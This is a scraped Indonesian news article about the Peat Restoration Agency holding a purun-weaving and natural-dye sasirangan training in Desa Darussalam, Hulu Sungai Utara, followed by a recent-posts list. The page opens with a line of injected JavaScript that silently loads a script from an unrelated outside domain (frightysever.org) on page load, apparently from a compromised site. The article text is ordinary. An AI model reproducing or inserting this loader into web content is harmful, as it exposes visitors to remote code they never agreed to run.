(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');

Badan Restorasi Gambut Jadikan HSU Lokasi Lokalatih Kerajinan Anyaman dan Sasirangan


AMUNTAI, Kabupaten Hulu Sungai Utara (HSU) terpilih sebagai tempat lokalatih pengembangan kerajianan anyaman purun dan produksi kain sasirangan alami. Hal ini tidak terlepas dari peninjauan langsung Badan Restorasi Gambut (BRG) RI yang melakukan kegiatan lokalatih di Desa Darussalam Kecamatan Danau Panggang, Selasa (21/5)

Pelatihan yang digelar dalam rangka untuk meningkatkan pemberdayaan masyarakat di sekitar kawasan gambut ini disambut antusias oleh para peserta yang berasal dari berbagai daerah kabupaten di Provinsi Kalsel.

Tidak kurang dari 28 orang peserta yang mengikuti kegiatan lokalatih di antaranya ibu-ibu dari Kabupaten Batola, Hulu Sungai Selatan dan juga Hulu Sungai Utara serta pelajar dari SMK. Para peserta tidak hanya diajarkan melalui teori, desain atau pembentukan pola akan tetapi juga dapat pelajaran langsung mengaplikasikannya melalui media purun, kain atau pewarnaannya.

Adapun Desa Darusalam tersebut di pilih menjadi tempat lokalatih karena pontensi yang sangat besar sekali terkait dengan adanya serat alam (purun, rotan dan eceng gondok) yang berada disekitarnya. “Di desa ini sudah terdapat beberapa kerajinan yang baik namun ingin ditingkatkan lagi agar produk di desa ini dapat mempunyai nilai yang lebih tinggi,” ungkap Apriyanto, perwakilan Badan Restorasi Gambut (BRG) RI.

Selain itu, kegiatan pelatihan ini juga dengan mendatangkan beberapa pelatih yang sudah profesional mengajarkan terkait dengan serat alam atau pewarna alami. Sehingga para pengrajin di desa tersebut diharapkan dapat menggunakan pewarna alami atau serat alam.

Sementara itu, Ketua Tim Penggerak PKK HSU Anisah Rasyidah Wahid saat mendampingi kegiatan tersebut menambahkan, dalam pembuatan kain sasirangan agar tidak terikat lagi dari bahan kimia. Maka para pengrajin diajarkan agar bisa memanfaatkan bahan – bahan di sekitar atau yang di sebut bahan alami.

“Dengan adanya pelatihan ini masyarakat lebih bagus lagi dalam memproduksi segala kerajinan ditambah kualitas produksi lebih meningkat lagi karena ini akan mengangkat ekonomi masyarakat baik di tingkat nasional maupun internasional,” pungkasnya. (dew)

Reporter:Dew
Editor:Chell

Desy Arfianty

Recent Posts

HUT Ke-129, BRI Tawarkan Promo Spesial KPR

KANALKALIMANTAN.COM - PT Bank Rakyat Indonesia (Persero) Tbk atau BRI menghadirkan Program Spesial KPR BRI.… Read More

35 menit ago

BRI Hadirkan Banjir Promo di HUT Ke-129, Cek di Sini!

KANALKALIMANTAN.COM - BRI kembali menunjukkan komitmennya untuk memanjakan para nasabah setia di momen ulang tahun ke-129.… Read More

44 menit ago

Memberdayakan Gen Z Lewat Literasi Digital, Skill Development, Akademi, dan Hiburan

KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More

16 jam ago

Generasi Happy 2024 di Murdjani, Yura Yunita Ajak Gen Z Gali Potensi di Dunia Digital

KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More

16 jam ago

Perkuat Tata Kelola Perusahaan, PLN Tingkatkan Sinergi dengan Dua Kejati di Kalimantan

KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More

16 jam ago

Begini Hitung-hitungan Pajak Baru Kendaraan Bermotor 2025

KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More

18 jam ago

This website uses cookies.